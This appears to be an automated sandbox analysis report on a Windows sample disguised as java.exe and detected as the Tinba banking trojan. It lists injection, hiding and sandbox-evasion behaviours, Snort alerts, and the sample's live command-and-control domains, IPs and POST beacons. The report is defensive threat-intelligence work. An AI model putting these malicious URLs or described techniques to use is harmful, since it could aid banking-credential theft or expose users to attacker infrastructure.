Edit tour

Windows Analysis Report
java.exe

Overview

General Information

Sample name:	java.exe
Analysis ID:	1378065
MD5:	b471d5f706df69a4a28664d7e335a9da
SHA1:	995a757d4562d9f4e8231f359b4b78db2de1c1f0
SHA256:	223534841809356aa7c94f86e8b0f4d6b4ce317b8225b419b27a5ba320ab0b81
Tags:	exetinba
Infos:

Detection

Tinba

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Tinba Banker

Allocates memory in foreign processes

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Creates autostart registry keys with suspicious names

Exploit detected, runtime environment starts unknown processes

Hooks files or directories query functions (used to hide files and directories)

Hooks registry keys query functions (used to hide registry keys)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the prolog of user mode functions (user mode inline hooks)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Writes to foreign memory regions

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

java.exe (PID: 7340 cmdline: C:\Users\user\Desktop\java.exe MD5: B471D5F706DF69A4A28664D7E335A9DA)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

winver.exe (PID: 7396 cmdline: winver MD5: B5471B0FB5402FC318C82C994C6BF84D)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

bin.exe (PID: 7676 cmdline: "C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe" MD5: CC18A03FCBC9DCF9DF31B64689EB3E55)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bin.exe (PID: 7924 cmdline: "C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe" MD5: CC18A03FCBC9DCF9DF31B64689EB3E55)

conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sihost.exe (PID: 3420 cmdline: sihost.exe MD5: A21E7719D73D0322E2E7D61802CB8F80)

svchost.exe (PID: 3456 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3528 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ctfmon.exe (PID: 3832 cmdline: ctfmon.exe MD5: B625C18E177D5BEB5A6F6432CCF46FB3)

svchost.exe (PID: 4196 cmdline: C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

StartMenuExperienceHost.exe (PID: 4660 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca MD5: 5CDDF06A40E89358807A2B9506F064D9)

RuntimeBroker.exe (PID: 4872 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

SearchApp.exe (PID: 4984 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca MD5: 5E1C9231F1F1DCBA168CA9F3227D9168)

RuntimeBroker.exe (PID: 5092 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

smartscreen.exe (PID: 5584 cmdline: C:\Windows\System32\smartscreen.exe -Embedding MD5: 02FB7069B8D8426DC72C9D8A495AF55A)

TextInputHost.exe (PID: 3788 cmdline: "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca MD5: F050189D49E17D0D340DE52E9E5B711F)

RuntimeBroker.exe (PID: 5116 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 1532 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

ApplicationFrameHost.exe (PID: 5736 cmdline: C:\Windows\system32\ApplicationFrameHost.exe -Embedding MD5: D58A8A987A8DAFAD9DC32A548CC061E7)

WinStore.App.exe (PID: 2524 cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca MD5: 6C44453CD661FC2DB18E4C09C4940399)

RuntimeBroker.exe (PID: 1760 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

SystemSettings.exe (PID: 6060 cmdline: "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel MD5: 3CD3CD85226FCF576DFE9B70B6DA2630)

UserOOBEBroker.exe (PID: 3924 cmdline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding MD5: BCE744909EB87F293A85830D02B3D6EB)

svchost.exe (PID: 5428 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 1440 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

cscript.exe (PID: 5956 cmdline: "cscript" "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /dstatus MD5: CB601B41D4C8074BE8A84AED564A94DC)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0x4 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 2892 cmdline: C:\Windows\system32\conhost.exe 0x4 MD5: 0D698AF330FD17BEE3BF90011D49251D)

backgroundTaskHost.exe (PID: 2504 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca MD5: DA7063B17DBB8BBB3015351016868006)

RuntimeBroker.exe (PID: 5820 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

RuntimeBroker.exe (PID: 404 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)

BjCNEZCMnwLaEEzWr.exe (PID: 3288 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 1104 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 1608 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 5356 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 5324 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 4584 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 3140 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 648 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

BjCNEZCMnwLaEEzWr.exe (PID: 2124 cmdline: "C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Tinba	F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.If Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.Tinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.	No Attribution	http://contagiodump.blogspot.com/2012/06/amazon.html http://garage4hackers.com/entry.php?b=3086 http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/ http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html http://www.theregister.co.uk/2012/06/04/small_banking_trojan/	https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: java.exe PID: 7340	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: winver.exe PID: 7396	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: explorer.exe PID: 2580	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: sihost.exe PID: 3420	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 3456	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 3528	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: ctfmon.exe PID: 3832	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: svchost.exe PID: 4196	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: StartMenuExperienceHost.exe PID: 4660	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: RuntimeBroker.exe PID: 4872	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Process Memory Space: SearchApp.exe PID: 4984	JoeSecurity_Tinba	Yara detected Tinba Banker	Joe Security
Click to see the 6 entries

Snort Signatures

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249742802020418 01/20/24-20:41:48.295231
SID:	2020418
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249742802830613 01/20/24-20:41:48.295231
SID:	2830613
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802830613 01/20/24-20:41:42.359145
SID:	2830613
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802024659 01/20/24-20:41:42.359145
SID:	2024659
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249743802830613 01/20/24-20:41:49.827227
SID:	2830613
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249738802020418 01/20/24-20:41:42.359145
SID:	2020418
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249739802020418 01/20/24-20:41:43.842659
SID:	2020418
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249739802024659 01/20/24-20:41:43.842659
SID:	2024659
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249741802024659 01/20/24-20:41:46.905610
SID:	2024659
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249735802020418 01/20/24-20:41:33.804089
SID:	2020418
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249740802020418 01/20/24-20:41:45.528112
SID:	2020418
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249735802024659 01/20/24-20:41:33.804089
SID:	2024659
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 178.62.201.34

Timestamp:	192.168.2.4178.62.201.3449736802024659 01/20/24-20:41:39.347423
SID:	2024659
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802020418 01/20/24-20:41:40.938841
SID:	2020418
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249740802024659 01/20/24-20:41:45.528112
SID:	2024659
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249743802024659 01/20/24-20:41:49.827227
SID:	2024659
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249741802020418 01/20/24-20:41:46.905610
SID:	2020418
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249743802020418 01/20/24-20:41:49.827227
SID:	2020418
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249742802024659 01/20/24-20:41:48.295231
SID:	2024659
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32/Chthonic CnC Activity - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249739802830613 01/20/24-20:41:43.842659
SID:	2830613
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Tinba Checkin 2 - Source IP: 192.168.2.4 - Destination IP: 178.62.201.34

Timestamp:	192.168.2.4178.62.201.3449736802020418 01/20/24-20:41:39.347423
SID:	2020418
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [PTsecurity] Tinba Checkin 4 - Source IP: 192.168.2.4 - Destination IP: 216.218.185.162

Timestamp:	192.168.2.4216.218.185.16249737802024659 01/20/24-20:41:40.938841
SID:	2024659
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: java.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://spaines.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://evbsdqvgmpph.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://cmnsgscccrej.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://mfueeimvyrsp.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://vcklmnnejwxx.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware
Source: http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe

Avira: detection malicious, Label: HEUR/AGEN.1322420

Multi AV Scanner detection for domain / URL

Source: vcklmnnejwxx.pw	Virustotal: Detection: 14%	Perma Link
Source: uyhgqunqkxnx.pw	Virustotal: Detection: 13%	Perma Link
Source: mfueeimvyrsp.pw	Virustotal: Detection: 17%	Perma Link
Source: cmnsgscccrej.pw	Virustotal: Detection: 13%	Perma Link
Source: utmyhnffxpcj.pw	Virustotal: Detection: 17%	Perma Link
Source: spaines.pw	Virustotal: Detection: 15%	Perma Link
Source: fkmmvfeonnyh.pw	Virustotal: Detection: 17%	Perma Link
Source: gfnlmtcolrrb.pw	Virustotal: Detection: 13%	Perma Link
Source: evbsdqvgmpph.pw	Virustotal: Detection: 16%	Perma Link
Source: http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	Virustotal: Detection: 13%	Perma Link
Source: http://cmnsgscccrej.pw/EiDQjNbWEQ/	Virustotal: Detection: 17%	Perma Link
Source: http://evbsdqvgmpph.pw/EiDQjNbWEQ/	Virustotal: Detection: 15%	Perma Link
Source: http://mfueeimvyrsp.pw/EiDQjNbWEQ/	Virustotal: Detection: 9%	Perma Link
Source: http://spaines.pw/EiDQjNbWEQ/	Virustotal: Detection: 11%	Perma Link
Source: http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	Virustotal: Detection: 15%	Perma Link
Source: http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	Virustotal: Detection: 16%	Perma Link
Source: http://vcklmnnejwxx.pw/EiDQjNbWEQ/	Virustotal: Detection: 11%	Perma Link

Multi AV Scanner detection for submitted file

Source: java.exe	ReversingLabs: Detection: 89%
Source: java.exe	Virustotal: Detection: 89%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: java.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\winver.exe

Code function: 2_2_03392DCF CryptAcquireContextA,CryptImportPublicKeyInfo,CryptCreateHash,CryptHashData,CryptVerifySignatureA,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,

2_2_03392DCF

Source: java.exe

Binary or memory string: -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAldMoUs9Ytg4Z6u+LBejj XsQpi94U2CbOGCF5DieMHxzcr5nhleioQixxAah9IEXJgzZ8Ag69xjMADnuKMumV xOFw6SbeOhRGrT/al5Rv/X56bsKPBBn5UAR5xhzUielXM77Z8R0oKVOKfXYDXdMq hx6FPFOOnV4/H7u3zf0sUbHXjbJEamXSjWRd0O

Source: java.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown

HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49730 version: TLS 1.2

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Users\user\Desktop\java.exe

Process created: C:\Windows\System32\conhost.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49735 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49735 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49736 -> 178.62.201.34:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49736 -> 178.62.201.34:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49737 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49738 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49738 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49738 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49739 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49739 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49739 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49740 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49740 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49741 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49741 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49742 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49742 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49742 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2024659 ET TROJAN [PTsecurity] Tinba Checkin 4 192.168.2.4:49743 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2020418 ET TROJAN Tinba Checkin 2 192.168.2.4:49743 -> 216.218.185.162:80
Source: Traffic	Snort IDS: 2830613 ETPRO TROJAN W32/Chthonic CnC Activity 192.168.2.4:49743 -> 216.218.185.162:80

Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: spaines.pwContent-Length: 157Data Raw: 71 72 15 f5 52 7a 15 f5 1a ea 4f 98 77 70 14 d6 41 42 25 c5 41 42 25 c5 Data Ascii: qrRzOwpAB%AB%
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: uyhgqunqkxnx.pwContent-Length: 157Data Raw: 17 36 54 98 31 3e 54 98 7c ae 0e f5 11 34 55 bb 27 06 64 a8 27 06 64 a8 Data Ascii: 6T1>T\|4U'd'd
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: vcklmnnejwxx.pwContent-Length: 157Data Raw: 46 b7 57 5a 61 bf 57 5a 2d 2f 0d 37 40 b5 56 79 76 87 67 6a 76 87 67 6a Data Ascii: FWZaWZ-/7@Vyvgjvgj
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: cmnsgscccrej.pwContent-Length: 157Data Raw: 8a 6a 6e 07 a2 62 6e 07 e1 f2 34 6a 8c 68 6f 24 ba 5a 5e 37 ba 5a 5e 37 Data Ascii: jnbn4jho$Z^7Z^7
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: evbsdqvgmpph.pwContent-Length: 157Data Raw: c9 d0 3a ba e1 d8 3a ba a2 48 60 d7 cf d2 3b 99 f9 e0 0a 8a f9 e0 0a 8a Data Ascii: ::H`;
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: mfueeimvyrsp.pwContent-Length: 157Data Raw: 4a 7b a7 87 63 73 a7 87 21 e3 fd ea 4c 79 a6 a4 7a 4b 97 b7 7a 4b 97 b7 Data Ascii: J{cs!LyzKzK
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: utmyhnffxpcj.pwContent-Length: 157Data Raw: ce a6 09 2f e4 ae 09 2f a5 3e 53 42 c8 a4 08 0c fe 96 39 1f fe 96 39 1f Data Ascii: //>SB99
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: fkmmvfeonnyh.pwContent-Length: 157Data Raw: fc 54 53 d8 d6 5c 53 d8 97 cc 09 b5 fa 56 52 fb cc 64 63 e8 cc 64 63 e8 Data Ascii: TS\SVRdcdc
Source: global traffic	HTTP traffic detected: POST /EiDQjNbWEQ/ HTTP/1.0Host: gfnlmtcolrrb.pwContent-Length: 157Data Raw: b3 59 ba 92 98 51 ba 92 d8 c1 e0 ff b5 5b bb b1 83 69 8a a2 83 69 8a a2 Data Ascii: YQ[ii

Source: Joe Sandbox View

IP Address: 216.218.185.162 216.218.185.162

Source: Joe Sandbox View	ASN Name: HURRICANEUS HURRICANEUS
Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: global traffic

